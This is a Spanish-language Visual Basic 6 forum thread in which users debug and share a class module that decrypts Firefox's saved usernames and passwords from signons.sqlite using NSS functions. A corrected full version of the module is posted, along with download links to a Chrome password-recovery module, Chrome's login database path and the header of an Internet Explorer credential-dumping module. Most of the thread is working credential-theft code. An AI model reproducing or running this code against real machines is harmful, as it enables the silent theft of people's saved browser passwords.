Visual Basic Foro
Programación => Visual Basic 6 => Mensaje iniciado por: 79137913 en Agosto 21, 2013, 02:56:17 pm
-
HOLA!!!
Estoy usando tu ejemplo para "descifrar passwords de FF"
Lo adapte para que funcionara con las nuevas versiones...
Quisiera que me digas si podes, por que el codigo que arme en enumerate solo me descifra el primer Parametro que le paso (el user encriptado que esta en lStatement(x,6)) y luego me repite el resultado siempre :(.
Por que puede ser?
P.d: por cierto, lStatement es una matriz donde esta toda la BD de sqlite.
'---------------------------------------------------------------------------------------
' Module : cFFPD
' DateTime : 25/07/2009 05:28
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://www.advancevb.com.ar
' Purpose : Decrypt firefox 3.5.x passwords
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' Reference : abhe example as reference, original one based on Aphex and CDECL from Paul Caton
'
' History : 25/07/2009 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Base 0
Private Const CSIDL_PROGRAM_FILES As Long = &H26
Private Const CSIDL_APPDATA As Long = &H1A
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type TSECItem
SECItemType As Long
SECItemData As Long
SECItemLen As Long
End Type
'API declarations
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As SHITEMID) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function GetLastError Lib "kernel32" () As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFree Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
Private Declare Sub PutMem1 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Byte)
Private Declare Sub PutMem2 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Integer)
Private Declare Sub PutMem4 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Long)
Private Declare Sub PutMem8 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Currency)
Private Declare Function LoadLibrary Lib "kernel32" (ByVal lpFileName As String) As Integer
'// SQL Lite dll declarations:
Private Declare Sub sqlite3_open Lib "SQLite3VB.dll" (ByVal Filename As String, ByRef handle As Long)
Private Declare Sub sqlite3_close Lib "SQLite3VB.dll" (ByVal DB_Handle As Long)
Private Declare Function sqlite3_last_insert_rowid Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
Private Declare Function sqlite3_changes Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
Private Declare Function sqlite_get_table Lib "SQLite3VB.dll" (ByVal DB_Handle As Long, ByVal SQLString As String, ByRef ErrStr As String) As Variant()
' sqlite_get_table Returns a 2 dimensional array including column headers
Private Declare Function sqlite_libversion Lib "SQLite3VB.dll" () As String ' Now returns a BSTR
Private Declare Function number_of_rows_from_last_call Lib "SQLite3VB.dll" () As Long
' number_of_rows_from_last_call returns the number of rows from the last sql statement. Use this to ensure you have a valid array
'Private constants
Private Const ERR_SRC As String = "cCDECL" 'Error source name
Private Const ERR_NUM As Long = vbObjectError 'cCDECL error number base
Private Const MAX_ARG As Long = 16 'Maximum number of parameters, you can change this if required
Private Const PATCH_01 As Long = 15 'CDECL patch, CDECL function address
Private Const PATCH_02 As Long = 10 'Callback patch, bas mod function address patch
Private Const PATCH_03 As Long = 16 'Callback patch, stack adjustment patch
'Parameter block
Private Type tParamBlock
ParamCount As Long 'Number of parameters to be forwarded to the cdecl function
Params(0 To MAX_ARG - 1) As Long 'Array of parameters to be forwarded to the cdecl function
End Type
'Private variables
Private bNewDLL As Boolean 'Flag to indicate that the loaded DLL has changed
Private hMod As Long 'DLL module handle
Private nAddr As Long 'Cache the previous cdecl function's address
Private pCode As Long 'Pointer to the CDECL code
Private sLastFunc As String 'Cache the previous cdecl function's name
Private pb As tParamBlock 'Parameter block instance
'Replace the stub proc (z_DO_NOT_CALL) with machine-code to handle the cdecl function
Private Sub Class_Initialize()
Dim pMe As Long
'Get the address of my vtable into pMe
GetMem4 ObjPtr(Me), pMe
'Allocate a page of executable memory
pCode = VirtualAlloc(0, &H1000&, &H1000&, &H40&)
'Copy the CDECL translation code to memory
PutMem8 pCode + 0, -208642111809017.9757@
PutMem8 pCode + 8, -605931634821031.5515@
PutMem8 pCode + 16, 20765931315670.1386@
PutMem8 pCode + 24, -857143604525899.4687@
PutMem4 pCode + 32, &HC2C03102
PutMem2 pCode + 36, &HC
'Patch the first vtable entry (z_DO_NOT_CALL) to point to the CDECL code
PutMem4 pMe + &H1C, pCode
'Copy the callback thunk code to memory
PutMem8 pCode + 40, 479615108421936.7656@
PutMem8 pCode + 48, -140483859888551.3191@
PutMem8 pCode + 56, 99649511.6971@
PutMem8 pCode + 64, 21442817159.0144@
End Sub
Private Sub Class_Terminate()
'Free virtual memory
Call FreeLibrary(hMod)
VirtualFree pCode, 0, &H8000&
End Sub
'This sub is replaced by machine code at pCode at class instance creation...
'IT MUST ONLY be called internally by CallFunc.
Public Function z_DO_NOT_CALL(ByVal nAddrParamBlock As Long) As Long
End Function
Public Function Enumerate() As String
Dim sPath As String
Dim sFFPath As String
Dim lKeySlot As Long
Dim lvLibs(20) As Long
Dim sRet As String
Dim tSec As TSECItem
Dim tSecDec As TSECItem
Dim bvRet() As Byte
'Dim sPass As String
'Dim svEntry() As String
'Dim svLines() As String
Dim i As Long
'Dim j As Long
Dim lDB As Long
Dim lStatement() As Variant ' As Long
Dim sText As String
On Error Resume Next
sPath = App.Path & "\" 'Environ("PROGRAMFILES") & "\Mozilla Firefox\"
lvLibs(0) = LoadLibraryA(sPath & "AccessibleMarshal.dll")
lvLibs(1) = LoadLibraryA(sPath & "D3DCompiler_43.dll")
lvLibs(2) = LoadLibraryA(sPath & "freebl3.dll")
lvLibs(3) = LoadLibraryA(sPath & "gkmedias.dll")
lvLibs(4) = LoadLibraryA(sPath & "libEGL.dll")
lvLibs(5) = LoadLibraryA(sPath & "libGLESv2.dll")
lvLibs(6) = LoadLibraryA(sPath & "mozalloc.dll")
lvLibs(7) = LoadLibraryA(sPath & "mozglue.dll")
lvLibs(8) = LoadLibraryA(sPath & "mozjs.dll")
lvLibs(9) = LoadLibraryA(sPath & "msvcp100.dll")
lvLibs(10) = LoadLibraryA(sPath & "msvcr100.dll")
lvLibs(11) = LoadLibraryA(sPath & "nss3.dll")
lvLibs(12) = LoadLibraryA(sPath & "nssckbi.dll")
lvLibs(13) = LoadLibraryA(sPath & "nssdbm3.dll")
lvLibs(14) = LoadLibraryA(sPath & "softokn3.dll")
Call DllLoad(sPath & "nss3.dll")
sFFPath = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & "profiles.ini"
sRet = Space(260)
Call GetPrivateProfileString("Profile0", "Path", vbNullString, sRet, 260, sFFPath)
sRet = Left$(sRet, lstrlen(sRet))
Dim DBHANDLE As Long
Call sqlite3_open(GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet & "\signons.sqlite", DBHANDLE)
lStatement = sqlite_get_table(DBHANDLE, "SELECT * FROM moz_logins", "Error")
sRet = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet
bvRet = StrConv(sRet, vbFromUnicode)
nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
If nssinit <> 0 Then nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
If nssinit = 0 Then
lKeySlot = CallFunc("PK11_GetInternalKeySlot")
If Not lKeySlot = 0 Then
If CallFunc("PK11_Authenticate", lKeySlot, True, 0) = 0 Then
For x = 1 To UBound(lStatement)
Enumerate = Enumerate & " " & "URL: " & lStatement(x, 1) & vbCrLf
sText = lStatement(x, 6)
bvRet = StrConv(sText, vbFromUnicode)
Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))
Debug.Print StrConv(tSec.SECItemData, vbUnicode)
If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
If tSecDec.SECItemLen > 0 Then
ReDim bvRet(tSecDec.SECItemLen - 1)
CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
Enumerate = Enumerate & " " & "USER: " & StrConv(bvRet, vbUnicode) & vbCrLf
End If
End If
ReDim bvRet(0)
sText = lStatement(x, 7)
bvRet = StrConv(sText, vbFromUnicode)
Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))
If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
If tSecDec.SECItemLen > 0 Then
ReDim bvRet(tSecDec.SECItemLen - 1)
CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
Enumerate = Enumerate & " " & "PASS: " & StrConv(bvRet, vbUnicode) & vbCrLf
End If
End If
Next
End If
Call CallFunc("PK11_FreeSlot", lKeySlot)
End If
Call CallFunc("NSS_Shutdown")
End If
For i = 0 To 14
Call FreeLibrary(lvLibs(0))
Next
'mSqlite.sqlite3_close (lDB)
'mSqlite.sqlite3_terminate
End Function
Private Function GetSpecialfolder(ByVal lFolder As Long) As String
Dim tSHITEMID As SHITEMID
If SHGetSpecialFolderLocation(0, lFolder, tSHITEMID) = 0 Then
GetSpecialfolder = Space$(512)
Call SHGetPathFromIDList(ByVal tSHITEMID.cb, ByVal GetSpecialfolder)
GetSpecialfolder = Left$(GetSpecialfolder, lstrlen(GetSpecialfolder))
End If
End Function
'Purpose:
' Call the named cdecl function with the passed parameters
'
'Arguments:
' sFunction - Name of the cdecl function to call
' ParmLongs - ParamArray of parameters to pass to the named cdecl function
'
'Return:
' The return value of the named cdecl function
Public Function CallFunc(ByVal sFunction As String, ParamArray ParmLongs() As Variant) As Long
Dim i As Long
Dim j As Long
'Check that the DLL is loaded
If hMod = 0 Then
'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
Debug.Assert False
Call Err.Raise(ERR_NUM + 0, ERR_SRC, "DLL not loaded")
End If
'Check to see if we're calling the same cdecl function as the previous call to CallFunc
If (StrComp(sLastFunc, sFunction) <> 0) Or bNewDLL Then
'Get the address of the function
nAddr = GetProcAddress(hMod, sFunction)
If nAddr = 0 Then
'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
Debug.Assert False
Call Err.Raise(ERR_NUM + 1, ERR_SRC, "Failed to locate function: " & sFunction)
End If
'Patch the code buffer to call the relative address to the cdecl function
PutMem4 pCode + PATCH_01, nAddr - pCode - (PATCH_01 + 4)
bNewDLL = False
sLastFunc = sFunction
End If
With pb
j = UBound(ParmLongs)
If j >= MAX_ARG Then
'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
Debug.Assert False
Call Err.Raise(ERR_NUM + 2, ERR_SRC, "Too many parameters")
End If
'Fill the parameter block
For i = 0 To j
.Params(i) = ParmLongs(i)
Next i
.ParamCount = i '(j + 1)
End With
CallFunc = z_DO_NOT_CALL(VarPtr(pb)) 'Execute the code buffer passing the address of the parameter block
End Function
'Load the DLL
Public Function DllLoad(ByVal sName As String) As Boolean
hMod = LoadLibraryA(sName)
If hMod <> 0 Then
DllLoad = True
'It's remotely possible that the programmer could change the dll and then call a function
'in the new dll with exactly the same name as the previous CallFunc to the previous DLL. This would
'defeat the caching scheme and result in the old function in the old dll being called. An unlikely
'scenario, but stranger things have happened. Soooo, explicitly indicate that we're using a new dll
bNewDLL = True
End If
'If in the IDE just stop on failure, programmer may not be checking the return value.
Debug.Assert DllLoad
End Function
GRACIAS POR LEER!!!
-
Hola que chivo che, estuve tratando de debugearlo y por lo que vi la funcion NSSBase64_DecodeBuffer solo funcionaba una vez y despues de un buen rato di con el motivo
el problema son con los tipos TSECItem, estos antes de ser pasados como parametros deben estar limpios osea sin data, el motivo de que mostraba siempre lo mismo es porque dentro de el bucle quedaba el primer dato.
'---------------------------------------------------------------------------------------
' Module : cFFPD
' DateTime : 25/07/2009 05:28
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://www.advancevb.com.ar
' Purpose : Decrypt firefox 3.5.x passwords
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' Reference : abhe example as reference, original one based on Aphex and CDECL from Paul Caton
'
' History : 25/07/2009 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit
Option Base 0
Private Const CSIDL_PROGRAM_FILES As Long = &H26
Private Const CSIDL_APPDATA As Long = &H1A
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type TSECItem
SECItemType As Long
SECItemData As Long
SECItemLen As Long
End Type
'API declarations
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As SHITEMID) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function GetLastError Lib "kernel32" () As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFree Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
Private Declare Sub PutMem1 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Byte)
Private Declare Sub PutMem2 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Integer)
Private Declare Sub PutMem4 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Long)
Private Declare Sub PutMem8 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Currency)
Private Declare Function LoadLibrary Lib "kernel32" (ByVal lpFileName As String) As Integer
'// SQL Lite dll declarations:
Private Declare Sub sqlite3_open Lib "SQLite3VB.dll" (ByVal Filename As String, ByRef handle As Long)
Private Declare Sub sqlite3_close Lib "SQLite3VB.dll" (ByVal DB_Handle As Long)
Private Declare Function sqlite3_last_insert_rowid Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
Private Declare Function sqlite3_changes Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
Private Declare Function sqlite_get_table Lib "SQLite3VB.dll" (ByVal DB_Handle As Long, ByVal SQLString As String, ByRef ErrStr As String) As Variant()
' sqlite_get_table Returns a 2 dimensional array including column headers
Private Declare Function sqlite_libversion Lib "SQLite3VB.dll" () As String ' Now returns a BSTR
Private Declare Function number_of_rows_from_last_call Lib "SQLite3VB.dll" () As Long
' number_of_rows_from_last_call returns the number of rows from the last sql statement. Use this to ensure you have a valid array
'Private constants
Private Const ERR_SRC As String = "cCDECL" 'Error source name
Private Const ERR_NUM As Long = vbObjectError 'cCDECL error number base
Private Const MAX_ARG As Long = 16 'Maximum number of parameters, you can change this if required
Private Const PATCH_01 As Long = 15 'CDECL patch, CDECL function address
Private Const PATCH_02 As Long = 10 'Callback patch, bas mod function address patch
Private Const PATCH_03 As Long = 16 'Callback patch, stack adjustment patch
'Parameter block
Private Type tParamBlock
ParamCount As Long 'Number of parameters to be forwarded to the cdecl function
Params(0 To MAX_ARG - 1) As Long 'Array of parameters to be forwarded to the cdecl function
End Type
'Private variables
Private bNewDLL As Boolean 'Flag to indicate that the loaded DLL has changed
Private hMod As Long 'DLL module handle
Private nAddr As Long 'Cache the previous cdecl function's address
Private pCode As Long 'Pointer to the CDECL code
Private sLastFunc As String 'Cache the previous cdecl function's name
Private pb As tParamBlock 'Parameter block instance
'Replace the stub proc (z_DO_NOT_CALL) with machine-code to handle the cdecl function
Private Sub Class_Initialize()
Dim pMe As Long
'Get the address of my vtable into pMe
GetMem4 ObjPtr(Me), pMe
'Allocate a page of executable memory
pCode = VirtualAlloc(0, &H1000&, &H1000&, &H40&)
'Copy the CDECL translation code to memory
PutMem8 pCode + 0, -208642111809017.9757@
PutMem8 pCode + 8, -605931634821031.5515@
PutMem8 pCode + 16, 20765931315670.1386@
PutMem8 pCode + 24, -857143604525899.4687@
PutMem4 pCode + 32, &HC2C03102
PutMem2 pCode + 36, &HC
'Patch the first vtable entry (z_DO_NOT_CALL) to point to the CDECL code
PutMem4 pMe + &H1C, pCode
'Copy the callback thunk code to memory
PutMem8 pCode + 40, 479615108421936.7656@
PutMem8 pCode + 48, -140483859888551.3191@
PutMem8 pCode + 56, 99649511.6971@
PutMem8 pCode + 64, 21442817159.0144@
End Sub
Private Sub Class_Terminate()
'Free virtual memory
Call FreeLibrary(hMod)
VirtualFree pCode, 0, &H8000&
End Sub
'This sub is replaced by machine code at pCode at class instance creation...
'IT MUST ONLY be called internally by CallFunc.
Public Function z_DO_NOT_CALL(ByVal nAddrParamBlock As Long) As Long
End Function
Public Function Enumerate() As String
Dim sPath As String
Dim sFFPath As String
Dim lKeySlot As Long
Dim lvLibs(20) As Long
Dim sRet As String
Dim tSec As TSECItem
Dim tSecDec As TSECItem
Dim bvRet() As Byte
Dim x As Long
Dim nssinit As Long
'Dim sPass As String
'Dim svEntry() As String
'Dim svLines() As String
Dim i As Long
'Dim j As Long
Dim lDB As Long
Dim lStatement() As Variant ' As Long
Dim sText As String
On Error Resume Next
sPath = Environ("PROGRAMFILES") & "\Mozilla Firefox\"
lvLibs(0) = LoadLibraryA(sPath & "AccessibleMarshal.dll")
lvLibs(1) = LoadLibraryA(sPath & "D3DCompiler_43.dll")
lvLibs(2) = LoadLibraryA(sPath & "freebl3.dll")
lvLibs(3) = LoadLibraryA(sPath & "gkmedias.dll")
lvLibs(4) = LoadLibraryA(sPath & "libEGL.dll")
lvLibs(5) = LoadLibraryA(sPath & "libGLESv2.dll")
lvLibs(6) = LoadLibraryA(sPath & "mozalloc.dll")
lvLibs(7) = LoadLibraryA(sPath & "mozglue.dll")
lvLibs(8) = LoadLibraryA(sPath & "mozjs.dll")
lvLibs(9) = LoadLibraryA(sPath & "msvcp100.dll")
lvLibs(10) = LoadLibraryA(sPath & "msvcr100.dll")
lvLibs(11) = LoadLibraryA(sPath & "nss3.dll")
lvLibs(12) = LoadLibraryA(sPath & "nssckbi.dll")
lvLibs(13) = LoadLibraryA(sPath & "nssdbm3.dll")
lvLibs(14) = LoadLibraryA(sPath & "softokn3.dll")
Call DllLoad(sPath & "nss3.dll")
sFFPath = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & "profiles.ini"
sRet = Space(260)
Call GetPrivateProfileString("Profile0", "Path", vbNullString, sRet, 260, sFFPath)
sRet = Left$(sRet, lstrlen(sRet))
Dim DBHANDLE As Long
Call sqlite3_open(GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet & "\signons.sqlite", DBHANDLE)
lStatement = sqlite_get_table(DBHANDLE, "SELECT * FROM moz_logins", "Error")
sRet = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet
bvRet = StrConv(sRet, vbFromUnicode)
nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
If nssinit <> 0 Then nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
If nssinit = 0 Then
lKeySlot = CallFunc("PK11_GetInternalKeySlot")
If Not lKeySlot = 0 Then
If CallFunc("PK11_Authenticate", lKeySlot, True, 0) = 0 Then
For x = 1 To UBound(lStatement)
Enumerate = Enumerate & " " & "URL: " & lStatement(x, 1) & vbCrLf
sText = lStatement(x, 6)
bvRet = StrConv(sText, vbFromUnicode)
tSec.SECItemData = 0
tSec.SECItemLen = 0
Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))
tSecDec.SECItemData = 0
tSecDec.SECItemLen = 0
If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
If tSecDec.SECItemLen > 0 Then
ReDim bvRet(tSecDec.SECItemLen - 1)
CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
Enumerate = Enumerate & " " & "USER: " & StrConv(bvRet, vbUnicode) & vbCrLf
End If
End If
sText = lStatement(x, 7)
bvRet = StrConv(sText, vbFromUnicode)
tSec.SECItemData = 0
tSec.SECItemLen = 0
Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))
tSecDec.SECItemData = 0
tSecDec.SECItemLen = 0
If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
If tSecDec.SECItemLen > 0 Then
ReDim bvRet(tSecDec.SECItemLen - 1)
CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
Enumerate = Enumerate & " " & "PASS: " & StrConv(bvRet, vbUnicode) & vbCrLf
End If
End If
Next
End If
Call CallFunc("PK11_FreeSlot", lKeySlot)
End If
Call CallFunc("NSS_Shutdown")
End If
For i = 0 To 14
Call FreeLibrary(lvLibs(0))
Next
'mSqlite.sqlite3_close (lDB)
'mSqlite.sqlite3_terminate
End Function
Private Function GetSpecialfolder(ByVal lFolder As Long) As String
Dim tSHITEMID As SHITEMID
If SHGetSpecialFolderLocation(0, lFolder, tSHITEMID) = 0 Then
GetSpecialfolder = Space$(512)
Call SHGetPathFromIDList(ByVal tSHITEMID.cb, ByVal GetSpecialfolder)
GetSpecialfolder = Left$(GetSpecialfolder, lstrlen(GetSpecialfolder))
End If
End Function
'Purpose:
' Call the named cdecl function with the passed parameters
'
'Arguments:
' sFunction - Name of the cdecl function to call
' ParmLongs - ParamArray of parameters to pass to the named cdecl function
'
'Return:
' The return value of the named cdecl function
Public Function CallFunc(ByVal sFunction As String, ParamArray ParmLongs() As Variant) As Long
Dim i As Long
Dim j As Long
'Check that the DLL is loaded
If hMod = 0 Then
'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
Debug.Assert False
Call Err.Raise(ERR_NUM + 0, ERR_SRC, "DLL not loaded")
End If
'Check to see if we're calling the same cdecl function as the previous call to CallFunc
If (StrComp(sLastFunc, sFunction) <> 0) Or bNewDLL Then
'Get the address of the function
nAddr = GetProcAddress(hMod, sFunction)
If nAddr = 0 Then
'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
Debug.Assert False
Call Err.Raise(ERR_NUM + 1, ERR_SRC, "Failed to locate function: " & sFunction)
End If
'Patch the code buffer to call the relative address to the cdecl function
PutMem4 pCode + PATCH_01, nAddr - pCode - (PATCH_01 + 4)
bNewDLL = False
sLastFunc = sFunction
End If
With pb
j = UBound(ParmLongs)
If j >= MAX_ARG Then
'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
Debug.Assert False
Call Err.Raise(ERR_NUM + 2, ERR_SRC, "Too many parameters")
End If
'Fill the parameter block
For i = 0 To j
.Params(i) = ParmLongs(i)
Next i
.ParamCount = i '(j + 1)
End With
CallFunc = z_DO_NOT_CALL(VarPtr(pb)) 'Execute the code buffer passing the address of the parameter block
End Function
'Load the DLL
Public Function DllLoad(ByVal sName As String) As Boolean
hMod = LoadLibraryA(sName)
If hMod <> 0 Then
DllLoad = True
'It's remotely possible that the programmer could change the dll and then call a function
'in the new dll with exactly the same name as the previous CallFunc to the previous DLL. This would
'defeat the caching scheme and result in the old function in the old dll being called. An unlikely
'scenario, but stranger things have happened. Soooo, explicitly indicate that we're using a new dll
bNewDLL = True
End If
'If in the IDE just stop on failure, programmer may not be checking the return value.
Debug.Assert DllLoad
End Function
Saludos.
-
HOLA!!!
Lea, estoy muy agradecido muchisimas gracias, se me hacia raro que pasara eso, menos mal que estas para ayudar!
GENIO!
Menos mal que tuve tu ayuda :D!
Sigo dando vueltas por el foro :)
GRACIAS POR LEER!!!
-
Lei tarde, parece que esta resuelto :)
-
HOLA!!!
Cobein... aun necesito de tu ayuda, si estas disponible.
No puedo encontrar el ejemplo de Chrome que tenias en http://www.advancevb.com.ar/wp-content/2009/07/Chrome.rar (es el recovery de chrome) tendras algun backup o algo similar?
GRACIAS POR LEER!!!
-
Aca esta el backup de AdvanceVB , tendri a que estar ahi el code.
http://leandroascierto.com/foro/index.php?topic=1359.msg7570#msg7570
Cualquier cosa avisa.
-
HOLA!!!
:( no esta en el backup Chrome.rar
Que puedo hacer?
Consegui el rar de Indetectables cuando lo subiste, pero esta corrupto :/
http://www.mediafire.com/download/50wxs8gmwgxu17r/Chrome.rar
Te podrias fijar si tenes el codigo en algun lado?
Solo mChrome.bas, con eso ya me organizo para revivirlo :D
Detalle del backup:
code\AdvanceVB.url
code\copyfiles.zip
code\elevationtype.zip
code\filelist.zip
code\fixpalette.zip
code\layeredsplash.zip
code\plugin.rar
code\progbar.zip
code\RTBOF.rar
code\safecallptr.rar
code\shell_elevated.zip
code\simpledde.rar
code\superduper.rar
code\suspend.rar
code\systempassword.zip
code\ucdownload.zip
code\ucimagelist.rar
code\ucip.zip
code\virtualfile.zip
code\VM_Detect.zip
code\VM_mini.zip
code\storage\
code\Uploaded\
code\storage\0CFD33B9B4EEF780.jpg
code\storage\1.jpg
code\storage\2.jpg
code\storage\2545E70A8CEEE575.jpg
code\storage\3.jpg
code\storage\4.jpg
code\storage\9189321F7698F58D.jpg
code\storage\captures.rar
code\storage\CC4861EF5CF21BA2.jpg
code\storage\checksummer.rar
code\storage\cryptosy.rar
code\storage\disablewinkey.rar
code\storage\DLL.rar
code\storage\E2BA0458587C5484.jpg
code\storage\EC07663CE51054D2.jpg
code\storage\filehash.zip
code\storage\filestoclipboard.rar
code\storage\ftp.rar
code\storage\Install.rar
code\storage\Int2D.rar
code\storage\layeredsplash.rar
code\storage\mailme.rar
code\storage\mGetProcAddress.rar
code\storage\mPE_Realign.rar
code\storage\nccaption.rar
code\storage\noip.rar
code\storage\ntcompression.rar
code\storage\pluginsample.rar
code\storage\progbar.rar
code\storage\scale.rar
code\storage\sizerestriction.rar
code\storage\suspend.rar
code\storage\systempassword.zip
code\storage\thebug.rar
code\storage\timeddebug.rar
code\storage\ucDowload.rar
code\storage\usbdetection.rar
code\storage\VM.rar
code\storage\wincdkey.rar
code\storage\WLMPD.rar
code\Uploaded\ekm.jpg
code\Uploaded\ekm.rar
code\Uploaded\filehash.zip
code\Uploaded\melt.rar
code\Uploaded\ucip.jpg
code\Uploaded\ucIP.rar
Hecho con: ' Module : cFileList
' DateTime : 12/03/08 08:52
' Author : Cobein
' Mail : cobein27@hotmail.com
' Purpose : Basic recursive file search class
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
GRACIAS POR LEER!!!
-
Aca encontre, las 2 versiones.
https://dl.dropboxusercontent.com/u/43394978/Chrome1.rar
https://dl.dropboxusercontent.com/u/43394978/Chrome.rar
Saludos.
-
HOLA!!!
MIL GRACIAS Cobein!
No se como agradecerte , si pasas por Mar del Plata te invito un asado!
GRACIAS POR LEER!!!
-
por las dudas en las nuevas versiones de chrome el path de la bd es
sPath = GetSpecialfolder(CSIDL_LOCAL_APPDATA) & "\Google\Chrome\User Data\Default\Login Data"
y por si te interesa este es para ie
Option Explicit
' mIEPass.bas
' ----------------------------------------------------
' Description:
'
' Retrieves all saved passwords and credentials from
' Internet Explorer 7/8.
'
' Coded by: Rtflol
'
' Please give me credits when you use this in your own
' applications. Don't be a fag ripper :P.
'
' ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
' Credits: Some french dude for making the initial IE 7 decryption
' module and a couple of Japanese guys for C++ documentation
' of an IE 8 decryption algorithm.
'
' Released: Monday, October 26, 2009
' Usage: Call GetIE()
'// Memory manipulation
